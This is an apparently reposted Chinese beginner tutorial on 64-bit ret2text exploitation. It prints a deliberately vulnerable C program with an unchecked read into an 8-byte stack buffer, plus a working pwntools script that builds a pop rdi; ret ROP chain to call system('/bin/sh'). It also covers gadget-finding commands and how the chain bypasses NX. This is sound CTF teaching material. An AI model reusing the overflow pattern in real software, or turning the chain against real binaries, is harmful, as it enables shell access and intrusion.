文章总结: 本文介绍64位PWN的ret2text技术,演示了利用栈溢出结合ROP链执行system函数获取shell的过程。详细讲解了使用poprdiret片段将参数传入rdi寄存器的布栈原理及pwntools脚本编写。核心在于控制返回地址及利用现有指令片段绕过NX保护,为二进制安全初学者提供实战指导。 综合评分: 90 文章分类: 二进制安全,CTF,漏洞分析
PWN入门笔记-ret2text(64位)
原创
lys lys
绿洲安全
2026年2月4日 08:00 北京
代码
编译命令:gcc question_4_1.c -fno-stack-protector -no-pie -o question_4_1_x64编译命令:gcc question_4_1.c -fno-stack-protector -no-pie -fomit-frame-pointer -o question_4_1_x64_sep#include <stdio.h>#include <stdlib.h>#include <unistd.h>char sh[]="/bin/sh";int func(char *cmd){system(cmd);return 0;}int dofunc(){char b[8] = {};puts("input:");read(0,b,0x100);//printf(b);return 0;}int main(){dofunc();return 0;}/*
pwntools题解
from pwn import *context(log_level='debug',arch='amd64', os='linux')pwnfile= './question_4_2_x64'io = process(pwnfile)#io = remote('', )elf = ELF(pwnfile)rop = ROP(pwnfile)padding = 0x10 #padding = padding2ebp + context.word_size//8 #通过调试得到gdb.attach(io)pause()return_addr = elf.symbols['func']bin_sh_addr = 0x404040pop_rdi_ret = 0x40120bpayload = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr)# p64 => 0x0b 0x12 0x40 0x00 0x00 0x00 0x00 0x00# p32 => 0x0b 0x12 0x40 0x00# p16 => 0x0b 0x12# p8 => 0x0b# struct.pack#payload = flat(['a'*padding, return_addr])delimiter = 'input:'io.sendlineafter(delimiter, payload)io.interactive()
在危险函数ret后eip位置需放要执行函数的地址,参数放到rdi中,但是怎么把参数放到rdi中这时候就需要用到rop了?
什么是rop?
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了
gadget:凡是能用篡改rip的地方都需要留意。此处方式需要深究:
说人话——就是拆分机器码,把正常的机器码改变其原有的组合方式,组合到我们的payloads中
如图中E8 8B F3可能组成成新的机器码指令。
ROP具体操作与使用
1.pop 寄存器(可能有多个);ret 目的就是把参数放到寄存器中,然后ret 把esp的值放到rip得以执行。pop rdi ret
2.jmp 待补充
3.call 待补充 = push rip jmp
ROPgadget(gadget工具)
通过以下指令可以进行指令码拆分
ROPgadget -–binary 二进制文件 –-only “pop|ret”
ropper -f 二进制文件
ROPgadget –binary question_5_x64_static –ropchain 自动生成链
布栈
本例子4_2_x64地方构造栈帧如下
原理:
1.pop rdi 会把参数放到rdi中
2.ret 会让rip指向危险函数的地址。
pop rdi;ret
参数
函数地地址
本例题主要步骤截图:
输入覆盖内容payload = b’a’* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr)
进入到pop rdi ret
rdi值改变即将到ret指令 rsp指向危险函数地址
进入到func地址中
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:绿洲安全 lys lys《PWN入门笔记-ret2text(64位)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论